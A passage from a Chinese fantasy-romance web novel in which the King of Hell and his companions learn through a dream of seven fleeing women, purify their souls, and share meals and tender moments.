阎璟摇摇头,目光依旧落在床榻上那张安静的容颜上,“没事。”
闻不聊的琴声还在继续。
手指在琴弦上有规律地游走,高低起伏,轻重缓急。
青气丝丝缕缕,越来越浓,也越来越密,将整个床榻笼罩其中。
终于!
林小软眉头一皱。梦境中的场景,从面前的白茫茫,像被一道剑气直接斩成两半,天地如一张白纸从中间撕开,另一重天地万物扑面而来。
冷!刺骨的冷!
这是林小软第一时间感受到的!
穿着长裙的她,此刻正站在一片冰天雪地之中,寒风如刀刻斧凿般从她身上刮过去,冻得她浑身直哆嗦。
“梦里也要这么真实吗?”她搓着手臂,瑟瑟发抖,“这么冷……”
等等,梦里她应该可以暗示自己吧!
不冷,都是梦!我不冷!林小软默念几十句后,真的有点效果。
这时,她抬头望去,不远处,有一座看上去破烂不堪的庙宇,孤零零出现在风雪之中。
虽然庙宇看上去,墙角塌了近乎一半,门前石阶也已被厚雪几乎掩埋,但里面隐约有火光,还传来人声。
“应该就是这几个人了吧!”林小软放轻脚步,缓缓靠近,屏住呼吸。但其实,别人根本看不见她。
那破烂不堪的庙门虚掩着,透过门缝往里看去,能看到几个寒冬腊月里依旧衣衫单薄的女子,围坐在一堆篝火旁。
姑娘们看上去都很年轻,但每个人脸上却都带着疲惫与彷徨,就像是一路疯狂赶路至此。
“我们就这么跑了,那位公子会怎么样?”一个圆脸的女子红着眼眶,声音发颤。
旁边的小姐妹抓住她的手,“我们好不容易逃出来,难道还要回去吗?回去还有活路吗?”
一句话,让所有人都沉默了。
火堆噼里啪啦,映在几位我见犹怜的面庞上。片刻后,几个姑娘都无声落下泪来。
“可是……”圆脸女子咬着唇,眼泪滴落在地,“公子是个好人……”
“好人又怎么样?好人长命吗?我们做过坏事吗?为什么要受到如此待遇?就因为我们是女子,出生时便注定了吗?”
“他们就是让我们死罢了。”<
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“珠儿说的对,我们不能回去。”
有一个女子抬起头,双目已经泪水浸湿,但语气里却带着决绝,“那位公子是好人,不假,可我们都是泥菩萨过江,自身难保。我们若回去,不但救不了那位公子,最多也就是多几个陪葬的罢了。”
“别说了,我心里难受。”靠墙坐着的女子忽然开口,声音都哭哑了,“公子……我想公子也是希望我们好好活下去的。”
公子?
是哪位公子?
林小软找了个角落,听着几人说话,完全如丈二和尚,摸不着头脑。
依稀言语间,她们好像是被这个所谓的公子救出来,才得以逃命天涯,但却害得那位公子身陷囹圄。
所以,几人才纠结要不要回去?
恰在这时,庙门突然被风吹开,篝火被一阵寒风吹过。
雪花伴着冷冽的狂风,将那原本就几乎燃尽的火堆彻底熄灭。
火堆熄灭的那一瞬间,林小软下意识也跟着屏住了呼吸,赶紧找个角落躲了起来。
庙内的几个女子,似乎也察觉到了什么,说话声戛然而止,纷纷伸头往门外看。
靠墙坐着的那个女子猛地抬起头,目光死死盯着门口的方向。
“是他们……他们终究还是追来了。”
林小软紧皱眉头,“他们?”
继续看下去。
“怎么办?怎么办呀!”
那几位女子下意识往后退,她们身后的小姐妹个个脸色煞白,嘴唇抖得厉害。
有个稍微年长的大姐姐,事到如今却还是保持着最后一丝理智,把几个小姐妹拽向那座半塌的佛像后面。
“快躲起来!都快躲起来。”
林小软在一旁无限叹息,这地方又不大,一览无余。
几人仓皇起身时,什么东西都留在地上,一片凌乱,这不是明摆着告诉别人,她们就蹲在此处嘛!
她们刚藏好,庙外的风雪中,便隐约传来脚步声,而且听声音,不止一个人。
是很多人!
脚步声越来越近。
出现一个身穿玄色斗篷,身材伟岸的男人,面容藏在兜帽的阴影里,看不真切。他身后跟着十几个侍从,个个腰悬长剑。
一行人在庙门外停下。
玄衣男人微微侧首,闭着眼睛,似乎在仔细听什么。片刻后,他抬起手,指向里面。“人在里边。”
侍从纷纷踏步而至。
玄衣男人紧随其后,缓缓踏入庙中,目光扫过那堆已经熄灭的火,“火都灭了,光也没了,坚持个什么劲?非要跟城主作对,有什么好处?”
没人回答他的话。
他又说:“城主是好心,照顾你们的家人,供他们吃穿,这辈子都不用愁,只是要你们付出一点小小的代价,都不肯?”
依旧没人说话。
“出来,还需要我请你们?”他的声音不大,却游刃有余。庙内回应他的是一片死寂,只有外面的寒风呼呼作响。男人突然大笑起来,声音冰冷,“敬酒不吃吃罚酒,给我拖出来!?”
佛像后面那个圆脸的女孩子,闭着眼睛,拼命捂着嘴,被吓得眼泪却止不住地往下落。
旁边的小姐妹死死攥着她的手,指甲几乎掐进肉里,还在拼命地忍!
但已经晚了。
男人身后的一名侍从,已经循声走了过去,一把掀开佛像前那块垂地破布。后面的场景一览无余,这么小的佛像后面怎么可能藏得住这么多人。
众人将她们围在中间,形成一个不大不小的圈。
“啊——!”那名圆脸的女子被那随从拽着头发拖了出来。
她拼命地挣扎,有个小姐妹冲出来想救她,却被另一人一脚踹翻在地,半天爬不起来。
“放开她们!”
一位看起来年龄偏长的姑娘此时走了出来,抬起下巴,明明自己的脸色惨白如纸,眼中却燃着倔强的火,“你放她们走,我跟你们回去。”
玄衣男人终于拿正眼看她,他慢慢一步一步走近,走到她面前,捏着她的下巴,微微打量。
“倒是有点胆色。”他语气淡淡,“可惜,你们几个,一个都走不了。”
54. 长相相似的阎王大人
玄子男子将那名女子甩到地上,旁边侍从直接上前,押跪在地。
“来,给我对照画像,挨个点,看看有没有鱼目混珠的。”
“是。”男人身后一个侍从,立刻从背后掏出画像,照着人脸挨个比对过去。
这是个千载难逢的机会,林小软想。
于是她蹑手蹑脚朝几人那边走过去。刚走几步,就不小心踩到地面的树枝,没听到咔嚓的声响,但吓得林小软身体一颤,赶紧双手蒙上眼,不敢睁开。
可透过手指缝隙看去,那边还在有条不紊的继续,她便也大胆起来。腰板挺直走了过去,绕到那个拿画像的侍从后面,正大光明在后面偷看上面的名字。
这么多人物图?这明显与实际人数不符。
他们要抓这么多人做什么?
林小软一边心惊,一边默默把所有的名字都记在心里。
没多一会儿,就听那侍从回禀,“跑了两个,就剩这五个了。”
“废物!给我继续追!少了一个,咱们都得掉脑袋!”
玄子男人扫视一圈,对其冷笑一声,“你们几个真是好大的胆子,选中你们是你们的福气!跑!是能跑得掉吗?”
“这福气给你要不要啊!”年龄稍长的那位女子,哪怕跪在地上依然不卑不亢,抬起头来,语气不屑,“何况我们胆子不大,怎么敢从大人手里逃出来。”
“你是不是觉得自己很伟大,很了不起!那真是太不好意思了!你们愚蠢的行为会牵连很多人,包括你们的父母。蠢货!”玄子男子冷笑一声,喝道:“给我全部带走!”
然而带走的过程并不顺利。
刚出大门,玄衣男子就被一柄突如其来的剑抵住了喉咙。
“放人。”拿剑的男人的声音,如这冰天雪地里一般,冷得没有温度。
“又是你。”玄衣男子并不慌张,甚至有种,天堂有路你不走,地狱无门你偏来投的兴奋。
“公子!”几位姑娘一见来人,喜极而泣,纷纷像是看到了希望。
公子?这人就是他们的公子?
而在一旁观望的林小软,站在原地,瞳孔地震。
对于这个突然出现,身穿月牙白青竹长袍,看起来有些病弱的公子,那一瞬间,他好像看到了小璟哥哥?
只是那公子周身的气度,小璟哥哥却差了一大截。
面前的这位公子美得过分张扬,那骨子里透出的自信,仿佛这世上没有他办不成的事,只是那张脸苍白如纸,似乎重病缠身。
“你倒是真敢来,严竹,你以为你是谁?救苦救难的观世音菩萨?我呸!”玄衣男子丝毫不惧,似乎吃定了那人不敢动手,“别管我,他不会对我下手。”
“我看谁敢!”严竹的剑又深一分。
那男人哈哈大笑起来,“有何不敢?你真有本事,就直接杀了我,跟我废什么话?你这个病秧子,有那个胆子吗?”他的顿了顿,“严竹,我对你已经足够有耐心了,别挑战我极限,更别多管闲事,否则,想想你儿子……”
严竹目光微颤!
“公子,你别管我们了,快走吧!”旁边的一个姑娘苦苦哀求,“求你走吧公子!你已经为我们做的够多的了。”
严竹心中不忍,望着几个姑娘的的面孔,心有悸动。稍不留神,剑锋狠厉地划过,玄衣男子的脖颈上留下一道血痕。
一滴血,顺着剑身滴落,在雪地之中晕染开来。
玄衣男子没想到,严竹真敢伤他。
严竹自己也愣了一下。
玄衣男子力气不知比严竹大出多少,趁着严竹愣神之际,眼疾手快反手夺了他的剑,瞬间反客为主,再一脚踢在他胸口上,将他逼退。
严竹被踹得半跪在地,瞬间被后面几人死死压在雪地中。
“打!别打死就行!”玄衣男子极其冷漠,毫不留情,“其他人给我带走。”
严竹试图奋起反抗,撑着身子跟那几个侍卫来来回回过了几招,直到体力渐渐不支,咳出几口血来。
最终还是倒了下去,眼睁睁看着那些女子泪眼婆娑全被带走。
而一旁目睹一切的林小软,揪心的要命。
她就这么看着那位酷似小璟哥哥的严竹公子蜷缩在地上,双手护着头,一声不吭。
那些人拿着剑身,毫不客气全朝他的身上招呼,一下比一下狠,一脚比一脚重。
可那位公子从头到尾只是闷哼,嘴角涌出一口鲜血。从始至终没有呼救,甚至目光之中也没有一丝妥协。
林小软死死咬着自己的手背,她看着那张熟悉的脸,被人打得趴在地上动弹不得,看着那身月牙白的青竹长衫被鲜血染尽,泪水终究是还是模糊了视线。
她真的很想上前去扶他起来,可是,她什么也做不了。
室内的琴声渐渐走向尾声。
躺在床上的林小软,先是手指动了动,慢慢眼角流下眼泪,顺着脸颊滴落到耳廓里。
阎璟听到床上传来呜咽的哭声,转过头来,微微皱眉。
起身想抽张纸,刚有这个念头,冷樾就给他递了过来。
阎璟顺手接过,坐在床边,用纸巾替林小软轻轻擦拭眼泪,心想这是看到什么了?这么伤心?
“叮——”
伴随着闻不聊的琴音落下帷幕。
林小软猛然睁开眼睛,大声呼喊一声,“小璟哥哥!”
阎璟擦拭的手甚至还没来得及收回,就看到林小软从床上弹坐起来。
“小璟哥哥?”
“是我。”
林小软低头一看自己的手,就知道自己回来了,再看阎璟就在身边,心里总算安定下来。“我刚刚,看到了……看到了一位公子……”
冷樾不慌不忙,开口打断她的话,“你看到那几位女子了吗?”
林小软顿时停住,神情恍惚一下,才想起自己看到的,点点头,“嗯,看到了。”
那几个侍从对比画像时,她在后面看的清清楚楚。
“写下来。”冷樾认真说道。
林小软乖巧点点头,阎璟转身赶紧去书房拿来毛笔和纸。
林小软看着这么古朴的毛笔,顿时有点为难,但还是伸手拿过来开写。
就是拿着毛笔,确实按照圆珠笔的写字姿势,字体又大又丑,算下来,两个名字,就占了一张纸,完全不够写的!
阎璟转身又去拿了几张。
林小软把看到的那几个名字,一个一个全写在纸上。
阎璟终于舒出一口气,“做得好。”
林小软心花怒放,刚想把刚才没说完的话,再次跟阎璟说清楚。
谁知抬头一看,窗边的闻不聊正面无表情盯着她看,一旁的冷樾也在注视着她。
她怎么了?
不明所以的她又转向闻不聊,闻不聊这次朝着她轻轻摇摇头。
林小软的笑容僵在脸上,这人是不是知道些什么?
白念生此刻也已经走了过来,竖起大拇指,“妹妹,做的好。”
林小软不好意思笑了。
阎璟看着上面的名字,眉宇间轻快不少。
知道了名字,事情就好办多了。
至少可以先查生死簿,记平生,为她们净化,再了却各自的执念。
当下立刻抱起那只檀木盒,转身就往外走。
冷樾一把伸手按住了他,声音沉稳,“不急于一时。”
阎璟也知道心急吃不了热豆腐,他深深吸一口气,唤来白念生,“用生死簿先查查这几人的生平。”
“好嘞。”白念生掏出平板,熟练地输入名字,手指飞快地在屏幕上滑
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动,还不忘吐槽林小软的字,“真丑。”
“就你话多,能看懂就行,小璟哥哥都没说什么。”林小软哼一声,转过头去。
白念生懒得跟她斗嘴,片刻后,抬起头来,面色复杂地念出一段段简短的生平。
都是些苦命的女子,最小的十五岁,最大的二十五岁。
不是被卖为婢,就是沦落风尘,甚至还有位官家的小妾,遭逢乱世全部不得善终。
阎璟听着,又是一阵唏嘘,眼底浮上淡淡的悲伤。
他转向一旁安静的和尚,“闻不聊,你有能力净化她们吗?”
如果闻不聊不行,那他就得破除神力封印,亲自来了。
闻不聊先是朝冷樾的方向看了一眼,随后缓缓点头,“可以是可以,不过……”
他顿了顿,“贫僧现在饿了。”
话音刚落,白念生和林小软也在一旁狂点头。
尤其是白念生,眼睛亮晶晶的,“嗯嗯,我也是!饿得前胸贴后背了!阎小璟,我来找你喝酒,你不能不给饭吃呀!”
林小软忍不住噗嗤一笑,捂上嘴打趣白念生,“你一点力没出,还好意思喊饿?”
经历了方才那一场惊心动魄,林小软也渐渐能和大家开起玩笑来,语气里少了一些刚刚的拘谨。
白念生一听,顿时瞪圆了眼睛,“咋了,结界不是我布的啊?没见过武侠小说里,高手闭关的时候,都有人护法的?护法的就不是出力的啦!”
说着还伸出食指点点林小软的额头,“你这小丫头可真不懂事”
林小软笑着往后躲,嘴上却不饶人,“是是是,白哥最厉害!”
阎璟看了看墙上的时钟,这才惊觉午时已过。
他有些不好意思地笑笑,“是我想得不周到,光顾着着急。冷樾,我们一起做点吃的吧,款待几位鼎力相助的大功臣!”
“好,听你的,想吃什么?”
说完,冷樾目光不着痕迹地与闻不聊暗中交汇,两人相当默契,都没有再开口提刚才的事来。
白念生倒是开心坏了,这下终于能喝上心心念念的那瓶好酒,总算有着落了。
阎璟站在厨房间,看着那锅碗瓢盆,有些发懵,吃他行,做,他确实不会。
白念生那张嘴也只会吃。
林小软是唯一的女孩子,又刚经历了那样的事,他哪里舍得送她去厨房那种乌烟瘴气的地方。
最后还是冷樾默默挽起了袖子,闻不聊在一旁给他搭下手。
两人在厨房里忙活了一个时辰,饭菜才端上桌。
可那色泽,那香气,竟比五星级饭店里的大厨做的还要诱人几分。
林小软夹了一筷子排骨就往送进嘴里,眼睛顿时亮了,竖起大拇指,含糊不清地说,“小璟哥哥,我总算明白了,公司食堂从来没见过你人影,天天吃这种级别的菜品,食堂那种带毒的东西确实委屈了你的胃!”
阎璟被她逗得哭笑不得,“胡说什么,我不去食堂纯属是因为没时间,之前也是去的。”
白念生在一旁掰着手指头,一本正经地数起来,“来,让我数数,你去食堂的次数啊!一、二、三……”
他抬起头,冲阎璟挤眉弄眼,“一只手能数完吗?”
阎璟被他说得有些不好意思,下意识看向冷樾。这段日子,自己被他养得嘴都刁了。
“不去是对的。”林小软又喝了一口冬瓜汤,“我上次点了个什么洋葱圈香芹牛肉炒鸡蛋,吃完直接拉肚子,蹲了半宿。”
几人哈哈大笑起来,连闻不聊都笑了起来。
凡是尝过公司的伙食的人都知道,那饭菜就不是给活人吃的!
冷樾坐在一旁,看着阎璟被众人打趣时,有些不好意思又带点羞涩的脸色,嘴角也不自觉微微上扬,眼底一片柔和。
55. 看清内心的阎王大人
阎璟心里惦记着正事,打算速战速决。午饭后不久,他便拉着闻不聊往房间里走,准备进行净化工作。
冷樾微微蹙眉,伸手拦住了他。
他深知阎璟的神力早已亏空得厉害,方才又强行闯入林小软的梦境,耗费了不少神识。这样的状态,哪里还经得起折腾?
“我来吧。”冷樾的声音轻柔,“你在外面等着就好。”
阎璟一怔,随即摇头,他不放心冷樾。
若是自己进去,配合闻不聊或许还有几分把握在一天时间内,完成全部净化工作。
可冷樾呢?
他既没有灵气,也没有神力,更没什么异能,就凭那一身武功,如何应付得来?
“你应付不来的。”阎璟直接拒绝,语气里带着几分担忧。
冷樾有时候对阎璟这种迟钝,真是有种哑巴吃黄连的感觉。
明明自己……算了。
他转头看向闻不聊,把矛头指向他,“闻不聊,你说呢?”
“闻不聊,你摸摸自己的良心,觉得是我合适还是冷樾合适?”阎璟也望向他,两人都是一脸认真,目光齐齐全落在和尚身上。
原本悠悠闲闲的闻不聊,被他们俩这么盯着,一时竟有些无语。
一个冥界之主,一个天道至尊,这种小学鸡的行为是要闹哪样?
他看看这个,又看看那个,最后仰天长叹一声,“你们俩都别进来了。”
他朝白念生招招手,“白念生,你进来帮我。”
白念生那边刚啃完一只鸡腿,嘴里还没嚼干净,闻言立刻蹦起来,胡乱擦了擦手,“好嘞!闻爷!”
林小软在一旁看着白念生那副吊儿郎当没当回事的样子,忍不住咯咯笑出声来。
那边的阎璟和冷樾都沉默地闭上嘴,站在原地,一个看天,一个看地,谁也没有再争执。
白念生把最后一口鸡腿骨吐完,跟着和尚去房间做准备工作,临关门前还不忘跟阎璟打个wink,“放心,都交给小爷吧!”
阎璟:“……”
没多会,屋内佛光闪烁,阎璟第三次试图推门进去看看情况时,被冷樾拦在了门口
“别急。”冷樾把他拉住,牵着他往庭院里带,边走边说,“千年的怨气,一时半会净化不完的。”
阎璟回头不放心看了一眼紧闭的房门,又看看冷樾那副信誓旦旦一切尽在掌握的模样,忽然咂摸点味出来,他盯着冷樾的眉眼,问道:“闻不聊也是你叫来的?”
冷樾没有否认,只是弯了弯嘴角,“公司里面,能有这么大的佛法造诣,又同时精通道法的,也只有闻不聊。”
“佛道双修!”阎璟觉得稀奇,挑眉问道:“我记得当时你说,他从不亲自杀生,是什么意思?”
“出家人慈悲为怀。”
冷樾把人拉到院里的秋千架上坐了下来,他自己绕到阎璟背后,轻轻推动起来,秋千晃晃悠悠的,倒是让人放松了不少。
他知道冷樾在跟他打太极,左顾而言他,想着他既不想多言,那自己不问便是。
阎璟坐在秋千上,随着冷樾的力道荡了几下,忽然脚尖点地,整个人停了下来。他深吸一口气,手指握紧了秋千绳,声音低低地说:“冷樾,等这件事了后,我有话跟你说。”
他是鼓起很大的勇气,才想找冷樾把这件事情说开。
这些天,他翻来覆去的自己想过很多次,他不能一直当做不知道冷樾的感情,继续装傻下去。
人家冷樾把对自己的心意,已经摆在明面上,自己还理直气壮心安理得的住在人家家里,这像话吗?
而且,他得承认,每次想到冷樾的时候,都会心跳加速。心底深处有很大悸动,总是感觉心口的地方软软暖暖的。
他不想回避自己的感情,所以……
冷樾忽然绕到他面前,微微俯下身,“想说什么?”
阎璟没想到他突然出现在自己面前,被他猝不及防吓了一大跳。
原本还能面无表情说出的话,如今又在嘴里,支支吾吾,不好意思起来。
“你能不能别这样突然出现在我面前,给我点心理准备行不行。”说着,耳尖居然染上了绯红。
冷樾看着他,轻轻一笑,蹲在他面前平视他,“好。只要你不说要离开,说什么都可以。”
对了!就是这幅表情!
一脸地柔情似水,眼底温柔如波,看起来很乖很听话,自己说什么做什么都无条件支持的模样。
毋庸置疑,冷樾长相是极好的,不同于闻不聊的清冷淡漠,又不同于白念生的奶萌可爱,更不似云为衫的霸气侧漏。
但有时候,他又好像能把这几种气质全糅合在一起,是个矛盾的综合体,但又让人移不开眼睛。
尤其是现在,蹲在他面前,眼神软得能滴出水来。
阎璟感觉自己的心砰砰跳的有点快,于是咽了口口水,默默移开了视线。
他这几天也一直在想,如果他跟凡人谈恋爱会怎么样?
人会死?
死了以后呢?
他也要死吗?
还是告诉冷樾,自己的身份其实是阎王大人,不老不死。然后再以权谋私,给冷樾在冥界安排个公务员的职位,让他以魂体继续陪在自己身边?
那冷樾会愿意吗?
他会不会更想投胎转世,开启另一段人生?
阎璟被他盯得有点心虚,“我没有说要离开,我那点微薄的工资,连顿饭都吃不起。”
声音也渐渐低下去,小声嘟囔着:“其实都怪你,从一开始就给我吃这么多美味,害得我现在看别的都觉得食之无味,更下不去嘴。”
冷樾先是愣了一下。
“嗯?”下一秒,笑声清明又亮堂。“哈哈哈哈哈哈……”
他还是第一次见冷樾有这么外放的表情。笑起来好像更好看,阎璟竟一时看得呆住。
冷樾爽朗的笑声,引得院中在赏花的林小软回头张望。
原本在院中拍花花草草的人,拿着手机,调到高清模式,聚焦于秋千架那边说说笑笑的两人。
一个坐着,一个蹲着。
笑得像两朵迎春花。
然后她拍摄了录像,传给了孟小七。
没一会,孟小七感动落泪的表情就发到了林小软的手机上。
阎璟想到时间可能会比较长,可是没想到直到天黑,屋内还没有结束的迹象。
晚饭后,阎璟打算先把林小软送回家,毕竟一个女孩子,在外留宿传出去名声多有不好。
冷樾拦住阎璟,起身去拿车钥匙,“小璟,我去吧!你不会开车,在家里等他们出来就好。”
阎璟一想也对,嘱咐冷樾几句,一定要安全地把女孩子送到家里,又提醒林小软到家后给他发个消息。
林小软乖巧地狂点头。“放心吧!小璟哥哥。”
阎璟看着车子往山下驶去,才悠悠转身回到山庄。
林小软跟阎璟在一起,可以嘻嘻哈哈,快乐轻松
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。可单独和冷总监相处,那就是地狱级的尴尬。
一路上,车内安静如斯,安静到她都能听见自己的心跳声,咽口水的动作都怕太响。
果然,公司里的论坛上说冷总监是冰块制造机是真的。不光是开会窒息,坐他的车,更窒息!
还好,路程不是很远,二十分钟后,车子准确无误停在她家楼下。
林小软如释重负,准备开门下车,手已经迫不及待搭上车门把手,“谢谢冷总,我就先……”
“林小软?”正准备下车的林小软突然被冷樾开口叫住。
她僵住了!
“啊?”
冷樾侧过身,目光平静看着她,“今日的事,别跟任何人说起。”
林小软立刻换上一副职业假笑,“害!就怕我说也没人信的,而且,公司是签了保密协议的,冷总放心,我肯定不会……”
冷樾摇摇头,轻轻打断她,“我的意思是,今天,你在梦中见到的一切,不要在小璟面前说起。”
林小软愣了一下,这才回忆起来,那个长得跟阎璟一模一样的公子,她不明白,但也不会多问,只是僵硬地点点头,“呃……好的。”
“多谢。”
车门关上,林小软一脸茫然地站在原地,看着汽车尾灯渐行渐远,走进电梯的时候,才突然反应过来。
等等,冷总怎么知道她在里面见到了什么?
青灯山庄内。
屋内佛光时强时弱,阎璟和冷樾在屋外,不放心守了一整夜。
冷樾也曾三番两次劝他先去睡会儿,阎璟始终摇头,眼睛紧盯着那扇门,“这么长时间,我真怕里面那两位撑不住。”
“相信他们,可以的。”
直到近天将明的时候,屋里的灵气终于从一开始金色佛气中掺杂的乌沉沉黑色,渐渐变成青色,又一点点褪成干干净净的白光。
阎璟腾地一下站起来。
成了?
房门纹丝不动。
窗户倒是先炸了。
只见七道白光,破窗而出,四散飞窜。
阎璟还没反应过来,下一秒,白念生也立刻从窗户翻出来,稳稳落地。
猛一抬头,起步,已经追着那七道白光跑了出去。
阎璟刚抬脚要追,就见闻不聊不慌不忙推开房门,慢慢走出来。
“怎么回事?”阎璟问。
“阿弥陀佛,净化完成。”闻不聊看了冷樾一眼,目光落在阎璟身上,“剩下的,还得您亲自来。”
阎璟点点头,目光追随那几道白光和白念生的背影,抬脚就往院中跑。
冷樾和闻不聊缓缓跟在后面,冷樾偏头看了一眼闻不聊,关切问:“还好吗?”
闻不聊淡淡一笑,面容虽然有点白,但语气还算从容,“无妨。不过这事拖了这么久,总算是能结束了。再拖下去,那七位姑娘恐怕连投胎的机会都没了。”
冷樾看向庭院里阎璟追着七个魂魄的背影,嘴角微微弯了弯。“这不是一直在等一个能解决这件事情的人来嘛。”
闻不聊顺着他的目光看着阎璟,淡淡一笑,忽然开口,“冷总,黄河之上,那道天雷,差点劈死我跟白念生。”
冷樾脚步顿了顿,以拳抵唇,咳嗽两声,“抱歉,没想到你们这么弱。”
嘴上说着抱歉,但却一点不好意思的迹象也没有。
“……”闻不聊张了张嘴,什么也没说,继续往院中走。
跟这种人还有什么好聊的!
56. 吃路边摊的阎王大人
山庄前院里,阎璟追着那几团白光,跑得气喘吁吁,这么长时间追逐游戏,他手里也就逮住一个魂魄。
白念生那边比他好点,抓到三个,剩下的三个跟人精一样,绕着院子到处乱窜,哪犄角旮旯就往那钻,灵活得很。
阎璟喘着粗气,低头看了看手里的那团白光,语气不自觉放软了一些,“你怎么这么调皮?是十五岁那个小姑娘吗?”
那魂魄像是听懂了,在他掌心跳了两下,阎璟拿手指戳了两下,“我猜对了?”
那白光仿佛察觉到了什么,从他手心一跃而起,猛然凑近阎璟的脸,几乎是贴着他的面庞,像是在确认眼前这人究竟是谁。
阎璟的目光随着那白光,眼珠左右移动不定。忽然间,光芒大盛,跳跃起来,透出一股难以抑制的兴奋。
阎璟还没反应过来,那白光就趁他不留神,快速溜掉了。溜掉后便挨个奔走相告,迫不及待地传递什么消息。
随后又绕到白念生手边,告诉那三个魂魄。
果然,没一会,连带着白念生抓着的三个,在手上剧烈挣扎起来,手一抖,三团白光全跑掉了。
白念生扶着腰,找块最近的石台坐下来,万分崩溃,“我的老天奶啊!我累了一晚上,现在累一早上,明天上班还要连续累一星期!给条活路啊!”
阎璟也有点累,缓缓走过去刚要安慰他两句,余光就瞥见那七团白光忽然调转方向,齐刷刷全朝他这边冲过来。
白念生腾的一下跳起来,把阎璟拉到自己身后,判官笔都召出来了,生怕那几个魂魄会对阎璟不利。
结果那七团白光冲到阎璟跟前,没有攻击,反而绕着他转起圈来。
白念生惊奇不已,慢慢退开包围圈,独留阎璟一个人在原地,经过验证,果然她们都是冲着阎璟在转。
一圈,两圈,三圈。
白念生稀奇不得了,突然唱起来,“丢啊……丢啊……丢手绢……”
阎璟见白念生居然还有心情唱歌,顿时无语起来,“你在唱什么?”
“你看像不像?他们绕着你呢!可能就趁你不注意,一个瞬身偷偷躲在你屁股后面。”
阎璟咽了口唾沫,身体侧转往屁股后望去,天真的以为真的会有调皮的蹲在他身后。
预料的事没有发生,倒是有一个胆子大的,忽然凑上去,在阎璟脸颊上轻轻蹭了一下。
在一旁的白念生眨巴眨巴眼睛,手里的判官笔差点没掉地上,在一旁竖起大拇指,“阎小璟,你是真行啊!斩男!斩女!还斩鬼!”
殊不知,阎璟整个人僵在原地,一步也不敢动,脸上俨然一副被惊吓到的表情。
如果没想错,他刚刚……是被一个魂魄给轻薄了吗?
他佯装淡定模样,清了清嗓子,尽量让自己看起来和蔼可亲,好商好量说道,“你们……还有什么执念没有?我送你们去投胎,好不好?”
闻此声,七团白光同时闪了闪,围着阎璟又转了几圈,像是在跳舞一般!
白念生挠挠头,有点看不懂,“哎,她们好像在跟你打招呼呢!”
阎璟也觉得这几个对他并无恶意,“你们好呀,请你们别一直围着我转,我有点害羞,会不好意思的。”
有团白光跳出来,跳到他肩膀上,白念生在一旁翻译,“呃……她问你好不好?”
一个敢翻译,一个敢回答,阎璟朝那团白光认真点点头,“我挺好的。”
话锋一转,“但是你们如果还不去投胎,要不了多久就会魂飞魄散了。这样吧!你们听话乖乖去投胎,来世投在一户人家,继续做七姐妹好不好?”
“不说话就当你们答应了,那咱们就此说定!”
阎璟说完,七团白光先是沉寂几秒,然后一人在阎璟脸上啄了一口,才开始慢慢往天上飘。
就算不是真人,阎璟也羞得满脸通红,把一旁的白念生瞧得羡慕不已,叹道:“真是旱的旱死,涝的涝死。”
七团白光像是在跟阎璟说再见一样,飘在半空中排成一字型,回头看了一眼阎璟,再次朝天上飘……直到白光一闪,星星点点消失不见。
白念生仰着头,看得一愣一愣的,“她们居然这么听话?”
说完立刻反应过来,立刻拿出生死簿,那七个一开始红到发紫的名字,如今已经泛着白光,在切换到轮回系统中,名字赫然出现在上面。
成了!
冷樾和闻不聊两人从头到尾看在眼里,彼此都没有说话。
只是疑惑那七人是不是把阎璟当成那人的转世。于是侧过头看了闻不聊一眼,话还没问出口,就见闻不聊双手合十,嘴角带着一抹笑意。“佛曰:不可说。”
冷樾:……
暮色降临,梧桐街道上的霓虹彩灯蓦然亮起,红红绿绿的彩灯悬挂在树上,给街道两侧带来彩虹般的绚丽,而那条藏在闹市深处的老巷里,更是人潮如织,车水马龙。
就算还没进去,隔着半条街,也能闻到街道里面,到处飘着勾人魂魄烤串的香味。
一到下班时间,白念生就拽着阎璟,第一时间就往巷子里冲,阎璟被他拉着,差点几次撞到别人。
两人三拐两拐绕过人群,找到一家几十年老店,看到一处合适的位置,屁股一坐,手一抬,招呼打起来,“老板,按老样子来双份!铁板鱿鱼多加一份!”
“好嘞!”老板笑着应声,手上动作不停。
阎璟看得出来,白念生是这里的常客。
两人在一处小桌前坐下,白念生终于长吁一口气,“咱哥俩历经多重磨难,这顿路边摊总算是吃上了,不容易啊!”
阎璟心里好奇,环顾四周,到处都是烟熏火燎,人声鼎沸,路边还有一些小吃摊,倒是有种久违的人间鲜活感,侧头询问,“你经常来吗?”
“不常,一个月三次吧!”白念生熟练的开了两瓶啤酒。
阎璟失笑,“那确实不算常。”
“哎!主要是平常工作忙,压力大,动不动还得出差,平时连顿热乎饭都吃不上,更别提能像现在这样,坐下吃顿好的,就该谢天谢地了。”白念生促狭的眨眼,说着说着还演上了,语气那叫一个声情并茂,就差从眼角挤出两滴泪来。
阎璟瞧他那副嘴里抱怨、实则得意的小脸,轻轻一笑,心想要不是知道这货平时都在做什么,他还真就信了他的鬼话。
老板上得很快,两人一瓶啤酒还没见底,桌上就已经上了好几个盘子。
阎璟学着他的样子,拿起一串大油边,刚咬一口,便被那股浓烈的烟味和辣椒粉面,直接呛到喉咙管。
“咳咳——”
白念生递过啤酒,笑得得意,“你得练。我刚来人间不是……刚来公司那会儿也吃不惯,但后来就越吃越上瘾。简直人间美味,懂不懂?”
“不懂!”阎璟闷闷灌了口酒,心想自己大概这辈子都适应不了这么重的口味,又想起孟仙儿做饭的口味倒是跟这个相似,顿时更加无语起来。
人间界的百姓都喜欢给自己的生活找点辛辣和刺激。
正想着,隔壁店的老板笑着看着白念生,“小白,你好久没来了。”
“忙,出差。”白念生随意指了指,“崇阿姐,给我来份那个,奶奶的那个。”
“好好好,小馋猫,姐姐请你吃。”
“谢啦!”白念生冲他笑笑露出虎牙。
一会儿的功夫,一碗奶香四溢的甜品被端了上来,白念生扬扬下巴,示意放在放在阎璟面前。
“呦!帅哥的朋友也是帅哥!介绍认识一下?”
白念生直接一挡,“他可是有主的,而且他家那位有点凶,你确定要认识?”
“有多凶?”
“今天认识,明天这条街上可能就看不到你了。”
“夸张吧你!”那位高马尾的女生扭着屁股笑着离开了。
“知道你吃不了辣,特意给你点的,解辣,尝尝。”白念生说。
阎璟道了声谢,舀了一勺放进嘴里。
“怎么样?”白念生目光闪烁着光芒。
“还行,不算难吃。”很中肯的评价。
白念生白他一眼,“你可真难养。”
又顿了顿,补了一句,“不过也不能怪你,要怪就怪你家里那位。”
提到冷樾,白念生忽然想起什么,“哎?说起来,冷神这一周都在忙什么?天天加班!”
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其实阎璟也觉得奇怪。
这几天他留意过好几次,每次深夜路过冷樾办公室,都能看见他对着平板上的生死簿愁眉苦脸,简直比阎璟这个冥界之主还敬业。
